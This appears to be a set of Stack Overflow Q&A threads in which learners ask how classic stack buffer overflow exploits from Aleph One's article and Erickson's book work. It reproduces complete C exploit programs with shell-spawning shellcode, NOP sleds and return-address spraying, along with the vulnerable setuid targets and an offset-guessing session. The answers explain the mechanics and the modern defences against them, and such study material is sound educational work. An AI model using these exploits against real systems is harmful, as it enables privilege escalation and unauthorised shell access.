I'm reading "Smashing The Stack For Fun And Profit", and reached the first example of overflow using an environment variable:
exploit2.c
------------------------------------------------------------------------------
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr += 4;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}
------------------------------------------------------------------------------
Now we can try to guess what the buffer and offset should be...
Now, I understand the overall theory of setting an environment variable of the form "NAME=VALUE",
and as we can see in the code above it is EGG=OUR_SHELL_CODE.
But I'm not sure of where/when does the overflowing occurs... does main's return address is being overwritten? wish addr? what's with the offset? What address are we trying to reach?
Why are we looking for the address of the stack pointer? I mean using malloc() will allocate memory on the heap, so why do we need the address of the end of the stack (using get_sp())?
In addition, overflowing a buffer in the heap won't overwrite the return address..
Why are we writing "system("/bin/bash");"? (we already have bin/sh in the shellcode)
Is it the way to somehow load/execute the environment variable?
Please fill in all the gaps for me (as thorough as possible) on the steps of this exploit.
Thank you very much! :-)
This is a helper program that will create the exploit. This isn't the vulnerable program, that one is aptly named vulnerable.
This program builds an EGG environment variable using heap memory which contains an exploit created based on the arguments specified. It assumes that the stack pointer of the vulnerable program will be somewhat similar to the current program's. The offset is used to cancel any differences. The exploit will have size bsize and it will contain the shell code itself, followed by copies of the guessed address for the start of the shellcode. This trailing portion will hopefully overwrite the return address in the vulnerable program and thus transfer control to the payload.
After the EGG has been created, the program spawns a shell for you so that you can start the vulnerable program. You can see in the original article that the vulnerable program is launched by ./vulnerable $EGG.
This exploit generator isn't terribly good code, but that's a different matter.
Related
In this example exploit the layout is [NOP-Block][Shellcode][Return Adress]
But why cant I just overwrite the original return Address with the Adress to my Shellcode ?
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret, offset=270;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200); // zero out the new memory
strcpy(command, "./notesearch \'"); // start command buffer
buffer = command + strlen(command); // set buffer at the end
if(argc > 1) // set offset
offset = atoi(argv[1]);
ret = (unsigned int) &i - offset; // set return address
for(i=0; i < 160; i+=4) // fill buffer with return address
*((unsigned int *)(buffer+i)) = ret;
memset(buffer, 0x90, 60); // build NOP sled
memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); // run exploit
free(command);
}
NOP-slide is a technique used when you can't precisely predict at which offset the execution will begin when the shell gets executed, you have to pad the shellcode with nops in the preamble to ensure the execution doesn't start in the 'middle' of your shellcode.
The CPU simply slides through the nops without impacting any registers except the instruction pointer.
In your code, I think you're triangulating the return address from main in notesearch using the address of a local variable i in your current process. Based on the compiler and platform the actual location from where the execution starts in the copied buffer (which is also argv[1]) could be off by few bytes. So you need to add a slide of few bytes to ensure things work.
NOP-block is used in the stack overflow exploitation because you don't may predict where the return address is placed.
When you exploit vulnerability, you can't affect on the execution flow directly - it means that you can't run your shellcode, but can place the piece of code in the memory of vulnerable application and expect it to run by the execution flow.
You can't predict the size of a function where vulnerable string is situated, so adding NOPs to the shellcode increases chanses to overwrite code at return address and succesfully execute your payload after the NOPs.
Disclaimer: I believe a lot of the code I pasted is unnecessary (e.g. Functions in the notesearch program, and alterations in the exploit), but I included it for purposes of clarity. I don't want to scare anyone off with the long post, and I figured I ought to offer an explanation beforehand.
I am currently reading the book Hacking: the Art of Exploitation by Jon Erickson. The book comes with a virtual machine which is designed to ensure a constant environment for the examples to work, but I've decided to try and get through the book on my own environment to challenge my understanding of the material.
I am currently reading about stack based buffer overflows, exploiting unchecked buffers to rewrite the return address of a function, sling down a NOP sled, and executing shellcode. The program we are exploiting is as follows:
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include "hacking.h"
#define FILENAME "/var/notes"
int print_notes(int, int, char*); // Note printing function
int find_user_note(int, int); // Seek in file for a note for user.
int search_note(char*, char*); // Search for keyword function.
void fatal(char*); // Fatal error handler
int main(int argc, char *argv[]) {
int userid, printing=1, fd; // File descriptor
char searchstring[100];
if(argc > 1)
strcpy(searchstring, argv[1]);
else
searchstring[0] = 0;
userid = getuid();
fd = open(FILENAME, O_RDONLY);
if(fd == -1)
fatal("in main() while opening file for reading");
char searchstring[100];
while(printing)
printing = print_notes(fd, userid, searchstring);
printf("-------[ end of note data ]-------\n");
close(fd);
}
// A function to print the notes for a given uid that match
// an optional search string;
// rturns 0 at ed of file, 1 if there are still more notes.
int print_notes(int fd, int uid, char *searchstring) {
int note_length;
char byte = 0, note_buffer[100];
note_length = find_user_note(fd, uid);
if(note_length == -1)
return 0;
read(fd, note_buffer, note_length);
note_buffer[note_length] = 0;
if(search_note(note_buffer, searchstring))
printf(note_buffer);
return 1;
}
// A function to find the next note for a given userID
// returns -1 if the end of the file is erached;
// otherwise, it returns the length of the found note.
int find_user_note(int fd, int user_uid) {
int note_uid = -1;
unsigned char byte;
int length;
while(note_uid != user_uid) {
if(read(fd, ¬e_uid, 4) != 4) // Read the uid data.
return -1; // If 4 bytes aren't read, return end of file code.
if(read(fd, &byte, 1) != 1) // Read the newline separator.
return -1;
byte = length = 0;
while(byte != '\n') { // Figure out how many bytes to the end of line
if(read(fd, &byte, 1) != 1) // Read a single byte.
return -1;
length++;
}
}
lseek(fd, length * -1, SEEK_CUR); // Rewind file reading by length bytes.
printf("[DEBUG] found a %d byte note for user id %d\n", length, note_uid);
return length;
}
// A function to search a note for a given keyword;
// returns 1 if a match is found, 0 if there is no match.
int search_note(char *note, char *keyword) {
int i, keyword_length, match=0;
keyword_length = strlen(keyword);
if(keyword_length == 0)
return 1;
for(i = 0; i < strlen(note); i++) {
if(note[i] = keyword[match])
match++;
else {
if(note[i] == keyword[0]) // if that byte matches first keyword byte,
match = 1;
else
match = 0;
}
if(match == keyword_length)
return 1;
}
return 0;
}
The vulnerability occurs on the line:
char searchstring[100];
Where the attacker is able to write past the end of this buffer and overwrite the return address. This program is accompanied by a note taker program, and it is both assumed that /var/notes exists, and that this program is SUID root in order to allow access to this directory.
The book provides the code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret, offset=270;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200); // zero out the new memory
strcpy(command, "./notesearch \'"); // start command buffer
buffer = command + strlen(command); // set buffer at the end
if(argc > 1) // set offset
offset = atoi(argv[1]);
ret = (unsigned int) &i - offset; // set return address
for(i=0; i < 160; i+=4) // fill buffer with return address
*((unsigned int *)(buffer+i)) = ret;
memset(buffer, 0x90, 60); // build NOP sled
memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); // run exploit
free(command);
}
To take advantage of this overflow. Unfortunately this does not work on a 64 bit system because pointers are 8 bytes instead of 4, disallowing the casting of &i to an unsigned int so I changed this code to:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
uint64_t i, ret, offset=256;
char *command, *buffer;
command = (char *) malloc(400);
bzero(command, 400); // Zero out the new memory.
strcpy(command, "./notesearch \'"); // Start the command buffer.
buffer = command + strlen(command); // Set the buffer at the end.
if(argc > 1) // Set offset.
offset = atoi(argv[1]);
ret = (uint64_t) &i - offset; // Set return address.
for(i=0; i < 376; i+=8) // Fill buffer with return address.
*((uint64_t *) buffer + i) = ret;
memset(buffer, 0x90, 200); // Build NOP sled.
memcpy(buffer+200, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); // Run exploit.
free(command);
}
To account for this. (Note: the altered offset and initial value of i are products of my experimentation, and I know they are not correct.) I changed all the references to int to uint64_t types so that the casting of the pointer was possible without losing data. I also changed the increment value of i in the for loop to 8 so that the loaded return address would be properly spaced.
From here, I needed to determine a new value for the offset, so I ran the exploit in GDB. The address of i came out to be 0x7fffffffddf0. I stepped through the program until I was in the system call, and it seemed that the return address was pushed to the stack at address 0x7fffffffddc8, and was set to the value 0x00400660. This was pushed to the stack by register r12 at the beginning of the function, and appeared to be in the text segment of memory, so I went ahead and assumed it was the return address.
The stack pointer then was subtracted by 0x178, and I used the nexti instruction followed by x/100hw $rsp to see how the stack was changing. I needed to know how where the buffer was loaded into memory relative to the return address to determine how to align the loading of the return address, and how to determine the offset by which I guess the location of the NOP sled. I ended up getting to the end of the program without ever seeing much of a change in the memory between the return address and $rsp.
From here I figured that I could run the notesearch program in gdb to get a sense of the way the stack frame is constructed. I ran the program with the argument "AAAAAAAAAAAAAAAAAAAA" and stepped through the assembly line by line. It appeared that the buffer was loading 32 bytes above the value of $rsp, and with this information, I was able to figure out the length of the buffer. I knew that $rsp was 0x178 (376) bytes above of the return address, and I knew that the buffer began 32 bytes above $rsp. With this I figured that the exploit would need to write 344 bytes of code to overwrite the return address.
By subtracting the location of &i (0x7fffffffddf0) and the location of $rsp (0x7fffffffdc50), I was able to determine that the stack frame of the notesearch program began 416 bytes before the variable i, and that the buffer was placed 384 bytes before the variable i. I then built a 200 byte NOP sled, and put the shellcode right after this.
I then needed to determine the return address I would rewriting to hit the NOP sled and execute the shellcode. I figured that 128 bytes into a 200 byte NOP sled would be pretty central and provide decent padding for any errors. I calculated this to be at memory address 0x7fffffffdcf0, which would require an offset of 256 bytes from i to hit. I used this as the offset value, and then executed the program.
As you may have already gleaned, this approach did not work. I was greeted with:
[DEBUG] found a 7 byte note for user id 1000
-------[ end of note data ]-------
*** stack smashing detected ***: ./notesearch terminated
Aborted (core dumped)
I figured that this may have been due to misalignment of the return address when building the buffer, so I tried changing the initial value of i in the for loop to 4, then to 8, then to 12, but none of these approaches gave me a different result. I further tried changing the value of the offset to the theoretical extremities, but this did not work either.
My question is, what did I do wrong in my calculations? I suspect that the buffer was not written to the place where I think it was, because in the initial test of the program where I stepped into the system call rather than ran it independently, I did not see the buffer show up on the stack. It is also possible that I am missing something entirely about the way that a stack frame is constructed, or some other complexity in the compilation of the program.
So, what did I do wrong, and how can I alter my approach to something more generalized so that I can do right in the future?
I'm looking at aleph's article on phrack magazine. The code below can also be found there.
We have a vulnerable executable which it's code is:
vulnerable.c
void main(int argc, char *argv[]) {
char buffer[512];
if (argc > 1)
strcpy(buffer,argv[1]);
}
Now, since we don't really know, when trying to attack that executable (by overflowing buffer), what is the address of buffer. We need to know it's address because we want to override the ret to point to the beginning of buffer (in which we put our shellcode).
The guessing procedure that is described in the article is as follows:
We can create a program that takes as a parameter a buffer size, and
an offset from its own stack pointer (where we believe the buffer we
want to overflow may live). We'll put the overflow string in an
environment variable so it is easy to manipulate:
exploit2.c
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
char shellcode[] = //this shellcode merely opens a shell
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr += 4;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}
Now we can try to guess what the buffer and offset should be:
[aleph1]$ ./exploit2 500
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
[aleph1]$ exit
[aleph1]$ ./exploit2 600
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
Illegal instruction
[aleph1]$ exit
[aleph1]$ ./exploit2 600 100
Using address: 0xbffffd4c
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
[aleph1]$ ./exploit2 600 200
Using address: 0xbffffce8
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
.
.
.
[aleph1]$ ./exploit2 600 1564
Using address: 0xbffff794
[aleph1]$ ./vulnerable $EGG
$
I don't understand what does the writer meant to present, in explot2.c we guess the size of the buffer in vulnerable.c and it's offset from the stack pointer.
Why do we apply this offset on the stack pointer of exploit2?
How does this effect vulnerable?
What's the purpose of exploit2.c except from building the EGG environment variable?
Why do we call system("/bin/bash"); at the end?
What's going on between vulnerable and exploit2 in general?
The only purpose of exploit2 is building the egg variable, which needs to be passed as a parameter to vulnerable. It could be modified so to call vulnerable on its own.
The shellcode variable contains machine code for a function that invokes a shell. The goal is to copy this code into the buffer variable of vulnerable, and then overwrite the return address of the main function of vulnerable to point to the entry point of the shell code, that is, the address of the variable buffer. The stack grows downward: the stack pointer register (esp in 32-bit x86 architecture) contains the smallest address used by local variables of the current function, at higher addresses we find other local variables, then the return address of the currently executing function, then the variables of the callee and so on. An overflow write on a variable, such as buffer in vulnerable, would overwrite whatever follows buffer in memory, in this case the return address of main since buffer is a local variable of the main function.
Now that we know what to do, we need some information:
the address of the buffer variable, let's call it bp
the address of the return address of the main function, let's call it ra
If we had this information we could forge an exploit string EGG such that:
its length is ra - bp + sizeof(void*) in order to overflow the string buffer enough to overwrite the return address (sizeof (void* is the size of the return address)
it contains the exploit code to be executed at the beginning, and the address bp at the end
Note that we only need a rough guess for the length of the string because we can just make the string longer and keep repeating the address bp all over it, but we need to compute the exact bp address if we want the shellcode to be executed properly.
We start by guessing the string length needed to overwrite the return value: 600 is enough, because it triggers an Illegal instruction error. Once we find it, we can look for the bp address.
We know that bp is around the bottom of the stack, because that's where the local variables are stored. We assume that the address for the stack are the same in vulnerable and exploit2, we measure the stack address in exploit2 and start poking around changing offset. Once we get the right offset (the one which result in addr being equal to the target bp) the shell code will be executed when the control flow return from the main function of vulnerable.
If you want to test this code, remember that this does not work in modern machines because of the execution prevention technology which is used by operating system to marks pages containing data as not executable.
This particular problem has been addressed a few times here on stackoverflow, but I cannot find any previous post that addresses some questions that I have. I would like to note that I have read Aleph One's "Smashing the Stack for Fun and Profit", but there are still gaps in my understanding.
My question is: This works (spawns a root shell) for various buffer sizes of stack.c in bof() from buffer[12] to buffer[24]. Why does it not work (seg fault) for buffer[48] (which results in a seg fault), for example (or, how would the program need to be modified to make it work for such buffers)?
Please note that the following commands are used when compiling stack.c
# gcc -o stack -z execstack -fno-stack-protector stack.c
# chmod 4755 stack
And ASLR is OFF.
First, let's look at the vulnerable program:
stack.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
And the program to exploit this: test.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
// code to spawn a shell
char shellcode[] =
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
;
unsigned long get_sp(void)
{
__asm__("movl %esp, %eax");
}
void main(int argc, char **argv)
{
FILE *badfile;
char *ptr;
long *a_ptr;
long *ret;
int offset = 450;
int bsize = 517;
char buffer[bsize];
// a_ptr will store the return address
ptr = buffer;
a_ptr = (long *) ptr;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, bsize);
/* Fill buffer with appropriate contents */
printf("Stack Pointer (ESP): 0x%x\n", get_sp());
ret = get_sp() + offset;
printf("Address: 0x%x\n", ret);
int i;
for (i = 0; i < 350; i += 4)
*(a_ptr++) = ret;
for (i = 450; i < sizeof(shellcode) + 450; i++)
buffer[i] = shellcode[i-450];
buffer[bsize - 1] = '\0';
/*Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
Below I will try to explain what I think is going on, and jot down notes as to where I believe the gaps in my knowledge are. If anyone has time to go over this as well as answer the question as stated earlier, then thank you.
Clearly, the buffer[12] in stack.c is going to be overflowed when strcpy() is called, because a string of size 517 is being copied into a buffer of size 12.
In test.c, I understand that we are creating the malicious buffer which is to be read by stack.c. This buffer is initialized with a bunch of NO-OP's (0x90). Beyond that, I am a bit confused.
1) What is the point of the offset being added to ret in ret = get_sp() + offset;? Also, why is offset = 450? I have tried other values for the offset and this program has still run (such as 460). 450 seems like a guess that happens to work.
2) At for (i = 0; i < 350; i += 4), why is 350 used? I don't understand the point of this value. I believe that this loop is filling the first 350 bytes of the buffer with the return address ret, but I do not understand why it is 350 bytes. I believe that we are increasing i by 4 each time because (long *) is 4 bytes. If this is true, shouldn't this 350 also be a multiple of 4?
3) Again, at for (i = 450; i < sizeof(shellcode) + 450; i++) (sizeof(shellcode) is 25), why do we start at 450 in the buffer? This is saying we are filling buffer[450] to buffer[475] with the shell code. Currently, everything after that should be initialized to a NO-OP. So what? Why 450 - 475?
Keep in mind that, in a 32-bit x86 program such as this, the bytes on top of the stack hold, from lowest address on up: local variables, the return address of the function, its parameters, any registers saved by the caller, the caller’s local variables, etc.
The loop is actually writing 348 bytes worth of four-byte return addresses to the top of the stack. (It predated C99 and x86_64 and therefore assumed that long is exactly 32 bits.) The purpose of this is just to ensure that, for any plausible amount of storage for local variables, the return address will get overwritten. It also tries to handle the case where the function with the vulnerability gets called from several levels deep and the top of the stack is no longer the same. Then there’s some padding with nop instructions, because if the function return lands anywhere in there, the CPU will just skip them. Finally, there’s the shell code, in machine language. The whole point is to get the return address to point anywhere in this part of the buffer. Note that this will only work if the exploit code can be sure that the address of the stack pointer in the caller’s address space is similar. Address-space randomization is a technique to defeat this.
In other words, the code repeats itself a few hundred times because stuff might not be at exactly the same place in a new process, and this way, it still works if the stack pointer is anywhere close to where it expects. The values are ballpark figures, but Aleph One talks about how to find them.
I'm a computer engineering student who is studying how stack buffer overflows work. The book I'm reading is The Art of Exploitation (1st edition) by Jon Erickson.
In order to practice what I'm studying I've installed Damn Vulnerable Linux distribution in a virtual machine. I've disabled ASRL (kernel.randomize_va_space = 0), I've compiled the following codes with GCC 3.4.6, I'm using GDB 6.6 and the kernel of the distribution is 2.6.20. My computer has an Intel processor.
The vulnerable program (test2) is created by root and is set as setuid.
The vulnerable code is the following:
//test2.c
int main(int argc, char *argv[])
{
char buffer[500];
strcpy(buffer, argv[1]);
return 0;
}
While the exploit code, created by normal (non root) user, is the following:
//main.c
#include <stdlib.h>
char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
unsigned long sp(void)
{
__asm__("movl %esp, %eax");
}
int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char *buffer2, *ptr;
offset = 0;
esp = sp();
ret = esp - offset;
printf("Stack pointer (ESP) : 0x%x\n", esp);
printf(" Offset from ESP : 0x%x\n", offset);
printf("Desired Return Addr : 0x%x\n", ret);
buffer2 = malloc(600);
ptr = buffer2;
addr_ptr = (long *)ptr;
for (i = 0; i < 600; i += 4)
{
*(addr_ptr++) = ret;
}
for (i = 0; i < 200; i++)
{
buffer2[i] = '\x90';
}
ptr = buffer2 + 200;
for (i = 0; i < strlen(shellcode); i++)
{
*(ptr++) = shellcode[i];
}
buffer2[600 - 1] = 0;
execl("/root/workspace/test2/Release/test2", "test2", buffer2, 0);
free(buffer2);
return 0;
}
The program works, it exploits the buffer overflow vulnerability in test2 and gives me a root shell.
What I don't understand, even after reading the book several times and trying to find answers on the internet, is why the value of the stack pointer that we store in the variable esp is the return address of our shellcode. I've disassembled the program with GDB and everything works as the author says but I don't understand why this happens.
I would have liked to show you how the disassembled program looked like and how the memory looked like during execution, but I cannot copy/paste from the guest machine on the virtual machine and I'm not allowed to insert images in my question. So I can only try to describe what happens during execution of the program main (the one that exploits the BOF in test2):
disassembling main, I see that 28 bytes are allocated on the stack (7 variables * 4 bytes). Then the function sp() is called and the value of the stack pointer is stored in esp. The value stored in the variable esp is 0xbffff344. Then, as you can see, we have some printf, we store the payload in buffer2 and then we call the execl function passing buffer2 as an argument.
now the root shell shows up and then the program exits. Disassembling the program after setting a different offset, I can clearly see that 0xbffff344 is precisely the address where the payload is stored when test2 is executed. Could you explain me how does this happen? Does execl sets a new stack frame for the test2 program? In main.c only 28 bytes are allocated on the stack, while in test2 500 bytes are allocated on the stack (for buffer2). So how do I know that the stack pointer that i get in main.c is precisely the return address of the shellcode?
I thank you and apologize if I wrote some stupid things.
Could you explain me how does this happen?
When ASLR is disabled every executable starts at the same address, so given the stack pointer you are able to guess the required offset to find your buffer location in test2. This is also where the NOP sled becomes useful, since it give you multiple possible hit if the offset is not the exact displacement to the shellcode.
That being said the fact the the value of ESP in the main function of your exploit program IS the location of the executed buffer in test2 seems incorrect. Are you sure you just don't misinterpreted gdb results?
You should be able to compute the offset of the buffer using the following : esp - 500 + 28.
Note that you should always wear gloves when using such formula : how the compiler handles locals, (size, order, etc) can vary.
So how do I know that the stack pointer that i get in main.c is precisely the return address of the shellcode?
Well You don't. It depends of the machine, how the program was compiled etc.
Does execl sets a new stack frame for the test2 program?
From the execve man pages :
The exec family of functions shall replace the current process image
with a new process image. The new image shall be constructed from a
regular, executable file called the new process image file. There
shall be no return from a successful exec, because the calling process
image is overlaid by the new process image.
The stack is overridden by a new one for test2.
Hope it helps :)